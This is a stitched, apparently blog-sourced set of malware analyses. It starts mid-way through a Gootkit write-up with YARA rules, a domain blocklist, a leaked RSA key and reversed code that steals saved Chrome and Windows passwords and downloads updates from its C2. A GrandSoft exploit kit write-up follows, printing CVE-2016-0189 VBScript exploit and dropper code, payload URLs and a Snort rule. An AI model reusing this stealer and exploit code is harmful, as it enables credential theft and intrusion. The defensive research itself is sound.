reference = “Detects Gootkit main dropper”
date = “2018-04-10”
hash = “360744e8b41e903b59c37e4466af84b7defe404ec509eca828c9ecdfe878d74a”

strings:

$s0 = “\\SystemRoot\\system32\\mstsc.exe” fullword wide
$s1 = “RunPreSetupCommands = %s:2” fullword wide
$s2 = “AdvancedINF = 2.5, \”You need a new version of advpack.dll\”” fullword wide
$s3 = “/c ping localhost -n 4 & del /F /Q \”” fullword wide
$s4 = “” fullword ascii
$s7 = “.update\” \”” fullword wide
$s11 = “& move /Y \”” fullword wide
$s16 = “.update” fullword wide
$s19 = “signature = \”$CHICAGO$\”” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 474KB and all of them
}

rule crime_win32_gootkit_grab_password_module {

meta:
description = “Gootkit grabber.dll module”
author = “@VK_Intel”
reference = “Detects Gootkit Password Grabber Module”
date = “2018-04-13”
hash = “f523da4e7a54aa14f37b513097c1ac8e035365f9ab5a34a610b05572d61a5558”
strings:
$s0 = “grabber.dll” fullword wide
$s1 = “GrabPasswords” fullword wide
$s2 = “\”encryptedPassword\”:\”” fullword ascii
$s3 = “Pstorec.dll” fullword wide
$s4 = “fireFTPsites.dat” fullword wide
$s5 = “inetcomm server passwords” fullword wide
$s6 = “\”login\”:\”” fullword ascii
$s7 = “D:\\Account.CFN” fullword wide
$s8 = “outlook account manager passwords” fullword wide
$s9 = “SMTP_Password2” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 723KB and all of them
}

VI. Gootkit Domain Blocklist:
safenetssl[.]com
securesslweb[.]com
netsecuressl[.]com
securesslservice[.]com
secsslnetwork[.]com
sslnetsecurity[.]com

VII. Gootkit Appendix:

A. Global Certificate  
var global_cert = “—–BEGIN CERTIFICATE—–\r\nMIICtzCCAiCgAwIBAgJAwj/sQrLq6n+7nn9OSX0zzgGhP834SgLjlxQ96GHioum4\r\nj3w7bUQWVwUYjadfxZxt3S/xsss3zG5yJGJyFK64ATANBgkqhkiG9w0BAQUFADBC\r\nMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0ExFjAUBgNVBAoTDUdlb1RydXN0\r\nIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE0MTEyNDE3MDkyOFoXDTE1MTEyNDE3MDky\r\nOFowaTEYMBYGA1UEAxMPbWFpbC5nb29nbGUuY29tMQswCQYDVQQGEwJVUzETMBEG\r\nA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UE\r\nChMKR29vZ2xlIEluYzCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAriq+HsPB\r\noe//EIGy7/aDCsS95UEbVBVeeYOe4OpeOOdy3hE48HADYFEKwMMu2PLh9q9bzNnx\r\naXpRY8Amdcp5Gk4jHJ5akXXGnasw67vE6udzmSay1WgU7jrhkTAbWuyzEIwuehJ7\r\n15awJBKWWw2luxpbLOaw7WSW08vLn3Rk8H0CAwEAAaNXMFUwNAYDVR0lAQH/BCow\r\nKAYIKwYBBQUHAwIGCCsGAQUFBwMEBggrBgEFBQcDAQYIKwYBBQUHAwMwHQYDVR0R\r\nAQH/BBMwEYIPbWFpbC5nb29nbGUuY29tMA0GCSqGSIb3DQEBBQUAA4GBAH4Erwf9\r\nmw+RbSX4MKEppUzs+q7UumC8Z9p+7K3Pnl+xLY6ZW4tHEYLjJqcKGY2a+F4kDW6A\r\nhoyBr+qHJO9aXmoAbAHgHteS27kzWIulh1u6oHGFqHFXDTQKERdckn5MkqF3L+6h\r\nbMEpXkJNLOj2JWzfrUP+ZhVZy78VUEiqr/cY\r\n—–END CERTIFICATE—–\r\n”;
B. Gootkit Global RSA Key
var global_key = “—–BEGIN RSA PRIVATE KEY—–\nMIICXQIBAAKBgQCuKr4ew8Gh7/8QgbLv9oMKxL3lQRtUFV55g57g6l4453LeETjw\r\ncANgUQrAwy7Y8uH2r1vM2fFpelFjwCZ1ynkaTiMcnlqRdcadqzDru8Tq53OZJrLV\r\naBTuOuGRMBta7LMQjC56EnvXlrAkEpZbDaW7Glss5rDtZJbTy8ufdGTwfQIDAQAB\r\nAoGASUSt6l9LrAY8dQM69XvssLEHedQj3QGIVvIp+lBeBu5HAmiYXX2hzfkJ3wG9\r\nSYMT0CUBJ3Jf/pF4f9Ar3c2pl9bzN7MY9mmHMUfDl3heCb5NgMBIpu+1R7MKuLsT\r\nQ7aATQd4TIcmPBLX3J+p4G4xY6H55he+8PhZieata2g5XsECQQDnaeGns23X/4h3\r\n4DNyJu174JTEgc1D+rImHPsYcA98qR7G0wyg3E33CFbt+OdtTS1pEKwMAaKJ/qu+\r\n8TpPAeuFAkEAwKvVrMDKRGGHkd7LYPviJ6re9xR+3Iv37ELHGlyoeucXV423sgnh\r\nwE3BhaS2RtX25xOk7Bg63vQsSElMv0bWmQJBAMK+aBgo95d+g+nd022NNO264Xc9\r\nhPBgWOuaF/VI2L+
f0zafBVGaFEJ/0igR/zAMctqoHSE9fvuCRiY5+0fh5cECQATs\r\nn2Jx7vl+cKOWySXqaiZPZLF18aQbY7PDJSmUUq4Jd/xB3/8J554tnpOW2R3IXC4d\r\nv2pVWDPYk8UpMm/1FIkCQQDI3gm7JNJqydrLP3plplfFB6hq3yxM1UG4Po+iCych\r\n3/vPHarkJzs3Gl6lH/lxK31gl8UEaF6DLGn8HFO+nzDc\r\n—–END RSA PRIVATE KEY—–“;
process.tls = {
    ciphers: ‘ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA’,
    method : ‘TLSv1_method’

C. LSA Grabber Message:

message LsaAuth {
     optional string UserName = 1;
     optional string UserDomain = 2;
     optional string UserPassword = 3;
}
message MailMessage {
     optional string html = 1;
     optional string text = 2;
     optional string subject = 3;
     optional string messageId = 4;
     optional string inReplyTo = 5;
     optional string priority = 6;
     optional string from = 7;
     optional string to = 8;
     optional string date = 9;
     optional string receivedDate = 10;
     optional string headers = 11;
     optional bool isDeletedByMailware = 12;
}
message LogLine {
     optional string logstr = 1;
}

message KeyloggerReport {

optional string keystroke = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message WindowChangeEventMessage {

optional int32 localTimeDate = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message SecureDeviceEventLog {

optional int32 localTimeDate = 1;
optional string deviceName = 2;
optional string eventName = 3;
optional string lastWindowName = 4;
optional string lastProcessPath = 5;
}

D. Command Execution Message:

message CommandExecutionRequest {
optional string process = 1;
optional string command = 2;
}

E. File Upload Message:

message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {

    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{

    repeated FileAttribues files = 1;
}

F. Bot Config Message:

message RedirectionEntry {
    optional string name = 1;
    optional string uri = 2;
    optional string keyword = 3;
    optional string uripassword = 4;
    optional string datapassword = 5;
}

message ProcessModule {

optional string szExePath = 1;
optional uint32 GlblcntUsage = 2;
optional uint64 hModule = 3;
optional uint64 modBaseAddr = 4;
optional uint64 modBaseSize = 5;
optional uint32 ProccntUsage = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional string szModule = 9;
optional uint32 th32ModuleID = 10;
optional uint32 th32ProcessID = 11;
}

message Process {

optional string szExeFile = 1;
optional uint32 cntUsage = 2;
optional uint32 th32ProcessID = 3;
optional uint32 th32ModuleID = 4;
optional uint32 cntThreads = 5;
optional uint32 th32ParentProcessID = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional bool owned = 9;
repeated ProcessModule modules = 10;
}

message ProcessList {

  repeated Process Processes = 1;
}

message BaseEntryBlock  {

repeated string url = 1;
optional bool enabled = 2           [default = true];
repeated string guids = 3;
optional bool filt_get = 4          [default = true];
optional bool filt_post = 5         [default = true]; 
}

message SpywareConfigEntry {

    required BaseEntryBlock base = 1;
    optional string data_before = 2;
    optional string data_inject = 3;
    optional string data_after = 4;
    repeated string stoplist = 5;
}

message VideoConfigEntry {

required BaseEntryBlock base = 1;

optional bool grayScale = 2         [default = true];

optional int32 framerate = 3        [default = 5];
optional int32 seconds = 4          [default = 30];
optional string filenameMask = 5;
optional bool uploadAfterRecord = 6 [default = true];
optional string hashkey = 7;
repeated string stoplist = 8;
}

message FragmentConfigEntry {

    required BaseEntryBlock base = 1;

    optional string from = 2;

    optional string to = 3;
optional string varname = 4 [default = ”];
}


message MailFilterEntry {

optional string from = 1;
optional string to = 2;
optional string subject = 3;
optional string body = 4;
}

message PostParamsRecorderEntry {

required BaseEntryBlock base = 1;
optional string paramname = 2;
optional string macrosname = 3;
}

message BotSettings {

    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];

optional bool kgIsKeyloggerEnabled = 9[default = false];

}

message SpywareConfig {

    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
}


G. Bot Message Buffer
message AdapterAddress {
    optional string address = 1;
    optional string netmask = 2;
    optional string family = 3;
    optional string mac = 4;
    optional int32 scopeid = 5;
    optional bool internal = 6;
}

message NetworkInterface {
    optional string connectionName = 1;
    repeated AdapterAddress adresses = 2;
}

message NetworkInterfaces {
    repeated NetworkInterface Interfaces = 1;
}

message Processor {
    optional string model = 1;
    optional int32 speed = 2;
}

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

message Tasks {

    message Settings {
        optional int32  pingTime = 1;
    }
    
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}
message BodyUpdate {
  optional int32 platform = 1;
  optional bytes newbody = 2;
}

H. Formgrabber Buffer
message Form {
optional string method = 1;
optional string source = 2;
optional string location = 3;
optional string referer = 4;
optional bool isSsl = 5;
optional string rawHeaders = 6;
optional bytes postData = 7;
optional string protocol = 8;
optional bool isCertificateUsed = 9;
optional bool isLuhnTestPassed = 10;
optional string remoteAddress = 11;
}

message GrabbedPageFragment {
    optional string url = 1;
    optional string from = 2;
    optional string to = 3;
    optional string fragmentText = 4;
    optional string source = 5;
}

IX. FileUpload Buffer
message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {
    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{
    repeated FileAttribues files = 1;
}

I. Local Variable Message

message LocalVar {
optional string name = 1;
optional string value = 2;
}

message LocalVarsList {
repeated LocalVar vars = 1;
optional int32 timestamp = 2;
}

J. SpCollectPasswords

function SpCollectPasswords(query, response, request) {
    let result = [];
    let last_timeout = 0;
    let isConnectionClosed = false;
    function resetAutoendTimeout() {
        if (last_timeout !== 0) {
            clearTimeout(last_timeout);
        }
        last_timeout = setTimeout(function () {
            isConnectionClosed = true;
            response.end();
        }, 20000);
    }
    saved_creds.collectWindowsPasswords(function (item) {
        if (isConnectionClosed === false){
            response.write(JSON.stringify({
                type : ‘windows’,
                username : item.username_value,
                url : item.origin_url,
                password : item.password_value
            }));
        }
    });
    saved_creds.collectCromePasswords(function (item) {
        if (isConnectionClosed === false) {
            response.write(JSON.stringify({
                type: ‘chrome’,
                username: item.username_value,
                url: item.origin_url,
                password: item.password_value
            }));
        }
    });

K. grabPasswordsPony

function grabPasswordsPony() {
    pstorage.getPasswordsFromGrabber(function (error, result) {
        if (result.length > 1) {
            result = result.split(‘\n’).map(function (line) {
                return line.trim().split(‘|’);
            }).forEach(function (password_entry) {
                if (password_entry.length === 4) {
                    spyware.SendAuthInformationPacket(
                        password_entry[2],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[1],
                        password_entry[3] 
                    );
                } else if (password_entry.length === 5) {
                    spyware.SendAuthInformationPacket(
                        password_entry[3],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[2],
                        password_entry[4]
                    );
                } else {
                    process.log(‘UNABLE_PARSE_PASSWORD : ‘, password_entry.join(‘|’));
                }
            });
       
L. GetCCType

function GetCCType(cc_num) {
    var type = 0;
    if (cc_num.charAt(0) == ‘4’ && (cc_num.length == 16 || cc_num.length == 13))
        type = 1;
    else if (cc_num.charAt(0) == ‘5’ && cc_num.length == 16)
        type = 2;
    else if (cc_num.charAt(0) == ‘3’ && (cc_num.charAt(1) == ‘4’ || cc_num.charAt(1) == ‘7’) && cc_num.length == 15)
        type = 3;
    else if (cc_num.charAt(0) == ‘6’ && cc_num.charAt(1) == ‘0’ && cc_num.charAt(2) == ‘1’ && cc_num.charAt(3) == ‘1’ && cc_num.length == 16)
        type = 4; 
    return type;

M. luhnChk

function luhnChk(luhnstr) {
    try {
        var luhn = luhnstr.replace(/[^0-9]/g, ”);
        var len = luhn.length,
            mul = 0,
            prodArr = [
                [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
                [0, 2, 4, 6, 8, 1, 3, 5, 7, 9]
            ],
            sum = 0;
        
        if (len != 16 || ((luhn.length – len) >= 6)) {
            return false;
        }
        if (GetCCType(luhn) == 0) {
            return false;
        }
        if (calculateAlphabetSize(luhn).length < 5) {
            return false;
        }
        while (len–) {
            sum += prodArr[mul][parseInt(luhn.charAt(len), 10)];
            mul ^= 1;
        }
        return sum % 10 === 0 && sum > 0;
    } catch (exception) {
        console.error(exception)
        return false;
    }

N. downloadUpdate

function downloadUpdate(serverHost, callback){
    var arch = { ‘ia32’ : 32, ‘x64’ : 64 };
    var updateLink = util.format(“https://%s:80/rbody%d&#8221;, serverHost, arch[process.arch]);
    gootkit_spyware.DownloadFileRight(updateLink, function(error, fileBuffer){
        callback(error, fileBuffer);
    });
    
O. fpatchIETabs

function fpatchIETabs(){
    var reg = process.binding(“registry”);
    var x = new reg.WindowsRegistry(
HKEY_CURRENT_USER,
“Software\\Microsoft\\Internet Explorer\\Main”, KEY_WRITE, true
    x.WriteDword(“TabProcGrowth”, 1);
exports.run = function (iter) {       

    console.log(“RUN : %s, ver : %s”, process.currentBinary, process.g_botId);

Let’s Learn: In-Depth Reversing of GrandSoft Exploit Kit PluginDetect Version "0.9.1" and Its VBScript Memory Corruption CVE-2016-0189 Exploit

Goal: Reverse in-depth one of the latest GrandSoft Exploit Kit (EK) landing page and its VBScript Memory Corruption CVE-2016-0189 exploit.

Background:
After analyzing one of the latest BlackTDS traffic redirection leading to GrandSoft EK, I decided to dive deeper into its landing page, observed exploit, and delivery mechanism. GrandSoft EK is being run by one Russian-speaking developer who promotes privately it under the name “GrandSoft Private Exploit Kit.” Largely, the EK is not available on commercial underground markets due to the developer ban for previous customer infractions.
Researcher Jerome Segura recently did an extensive in-depth study covering exploit kits under the title “Exploit kits: Winter 2018 review” for MalwareBytes. The study refers to the GrandSoft EK exploit that is discussed below in the blog.

Outline:

I.  Network Collector Module
I. Internals of GrandSoft Landing Page: Main loop
II. “PluginDetect” version
III. detectPlatform
IV. browser
V. addPlugin
VI. Exploit VBS CVE-2016-0189 payload 
VII. Traffic chain
VIII. Snort Rule

I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
 A. Java
 B. Flash
 C. Silverlight
 D. AdobeReader

1
2
3
4
5
PluginDetect.getVersion("A");  
var verJ = PluginDetect.getVersion("Java");
var verF = PluginDetect.getVersion("flash");
var verS = PluginDetect.getVersion("silverlight");
var verPDF = PluginDetect.getVersion("adobereader");

Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.

1
2
3
var srcOfScript = "/getversionpd/"+verJ+"/"+verF+"/"+verS+"/"+verPDF;

document.write("<iframe src='"+srcOfScript+"'>");

Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.”

1
2
3
4
         uniqueName: function() 
{
return j.name + "998"
}

II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1”The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and  “pluginName” that are subsequently populated via the script functionality.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function() {
var j = {
version: "0.9.1",
name: "PluginDetect",
addPlugin: function(p, q) {
if (p && j.isString(p) && q && j.isFunc(q.getVersion)) {
p = p.replace(/\s/g, "").toLowerCase();
j.Plugins[p] = q;
if (!j.isDefined(q.getVersionDone)) {
q.installed = null;
q.version = null;
q.version0 = null;
q.getVersionDone = null;
q.pluginName = p;
}
}
},

III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.*CE, Win.*Mobile, Pocket\\s*PC.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
detectPlatform: function() {
var r = this,
q, p = window.navigator ? navigator.platform || "" : "";
j.OS = 100;
if (p) {
var s = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
for (q = s.length - 2; q >= 0; q = q - 2) {
if (s[q] && new RegExp(s[q], "i").test(p)) {
j.OS = s[q + 1];
break
}
}
}
}

IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and “detectNonIE.”
A. detectIE

detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            detectIE: function() {
var r = this,
u = document,
t, q, v = window.navigator ? navigator.userAgent || "" : "",
w, p, y;
r.ActiveXFilteringEnabled = !1;
r.ActiveXEnabled = !1;
...
q = u.documentMode;
try {
u.documentMode = ""
} catch (s) {}
r.isIE = r.ActiveXEnabled;
r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/*@cc_on!@*/!1")();
try {
u.documentMode = q
} catch (s) {}
r.verIE = null;
if (r.isIE) {
r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7)
}
},

B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    detectNonIE: function() {
var q = this,
p = 0,
t = window.navigator ? navigator : {},
s = q.isIE ? "" : t.userAgent || "",
u = t.vendor || "",
r = t.product || "";
q.isGecko = !p && (/Gecko/i).test(r) && (/Gecko\s*\/\s*\d/i).test(s);
p = p || q.isGecko;
q.verGecko = q.isGecko ? j.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(s) ? RegExp.$1 : "0.9") : null;
q.isOpera = !p && (/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(s);
p = p || q.isOpera;
q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null;
q.isEdge = !p && (/(Edge)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isEdge;
q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null;
q.isChrome = !p && (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isChrome;
q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null;
q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isSafari;
q.verSafari = q.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(s) ? j.formatNum(RegExp.$1) : null;
},

V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)

 1
2
3
4
5
6
7
8
9
10
11
12
    var e = {
mimeType: "application/x-shockwave-flash",
setPluginStatus: function(t, q, p) {
var s = this,
r;
s.installed = q ? 1 : (t ? 0 : -1);
s.precision = p;
s.version = j.formatNum(q);
r = s.installed == -1 || s.instance.version;
r = r || s.axo.version;
s.getVersionDone = r ? 1 : 0;
},

B. j.addPlugin(“adobereader”, c)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var c = {
OTF: null,
setPluginStatus: function() {
var p = this,
B = p.OTF,
v = p.nav.detected,
x = p.nav.version,
z = p.nav.precision,
C = z,
u = x,
s = v > 0;
var H = p.axo.detected,
r = p.axo.version,
w = p.axo.precision,
D = p.doc.detected,
G = p.doc.version,
t = p.doc.precision,
E = p.doc2.detected,
F = p.doc2.version,
y = p.doc2.precision;

C. j.addPlugin(“silverlight”, h)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var h = {
getVersion: function() {
var r = this,
p = null,
q = 0;
if ((!q || j.dbug) && r.nav.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.nav.query().version) {
p = r.nav.version
}
if ((!q || j.dbug) && r.axo.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.axo.query().version) {
p = r.axo.version
}
r.version = j.formatNum(p);
r.installed = p ? 1 : (q ? 0 : -1)
}

D. j.addPlugin(“java”, a)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    var a = {
Property_names: [],
Property_values: [],
Property_values_lock: [],
JAVATOJSBRIDGE: 0,
JSTOJAVABRIDGE: 1,
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
mimeType_dummy: "application/dummymimejavaapplet",
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",

pluginObj: 0
},
OTF: null,
getVerifyTagsDefault: function() {
return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}

VI. Exploit VBS CVE-2016-0189 payload 
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null)

A. Exploit vulnerability
The exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called “SmuggleFag. ” The function resizes the array and overlap freed array area with the exploit string.
The GrandSoft EK example of the array exploit building function is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim aw 
Dim T9lJDdQHhgiB3
Dim lunnga(32)
Dim G0tAyknVP4
Dim y(32)
Dim x0lIEBoNEzX5
k1 = 1
Dim O4EiqKng6
ryririririiriririrooror = 1999 + k1
Dim T5shDvBvweXg7
sddddddddddddddddddddd = "%u4141"
Dim W5mhmePuc8
a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd

k3 = 32
Dim c7vztnBkf10
fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd
Dim u9zxrNOt11
zerofix = "%u0000"
Dim J1mVWOQyTRn12
trifix = zerofix & zerofix & zerofix
Dim f4HnLPliWAsQ13
d = a9sddddddddddddddddddddad & "%u0016" & fix3 & "%u4242%u4242"
F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC "
b = String(ryririririiriririrooror*k3, "D")
Dim G8GGmkKrCPM15
c = d & b
Dim J9oImLEJe16
x = UnEscape(c)

B. URI Path download of encoded payload from path

C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For i = 1 to Len(hexDial) Step 2 
dlltxt = dlltxt & Chr("&H"&Mid(hexDial, i,2))
Next
Dim i8oKFQXWobb134
Dim N5TmRtvl135

T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) "
Set c=CreateObject("Scripting.FileSystemObject")
Dim b7osNLBJ137
fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2)
Dim a4scxQTEDc138
fake32=ttttttttttttttttttttttttttttttt&"\\System32"
Dim U8PvDAdZk139
Dim R0tKOXofLfBm140
If Not c.FolderExists(fake32) Then
Dim s6toCqOQGfJ141
c.CreateFolder(fake32)
Dim e3LXQLVyimNX142
End If
Dim J8pKzTbSOxb143
Dim H5uTerik144
Dim R7PwLxmMpS145
Dim u7TTVOsNdn146
fakedll = c.BuildPath(fake32,"shell32.dll")
Set b=c.CreateTextFile(fakedll)
b.Write "a1"
b.Close
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close

Set w=CreateObject("WScript.Shell")
Dim x9vACiVeCR155
w.CurrentDirectory=fttttttttttttttttttttttttttttttt
Dim Z7pMtTvMScyV156
fullCmdRun = cmdRun & fullPath
Dim l5dodqMT157
oldroot=w.Environment("Process").Item("SystemRoot")
Dim H4mQFgFAefUU158
w.Environment("Process").Item("SystemRoot")=ttttttttttttttttttttttttttttttt
Dim C2JTzxJrNXf159
w.Environment("Process").Item("SysFilename")= fullCmdRun
Dim d5ehKWvE160
Set sh = CreateObject("Shell.Application")

VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:”/getversionpd/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)

Let’s Learn: Trickbot Implements Network Collector Module Leveraging CMD, WMI & LDAP

Goal: Reverse and document the latest module “network64/32Dll,” leveraged by the notorious Trickbot banking malware gang.

Decoded module hash “network64Dll”aeb08b0651bc8a13dcf5e5f6c0d482f8
Decoded config in “network64Dll_configs:

Background:

https://platform.twitter.com/widgets.js Assessment

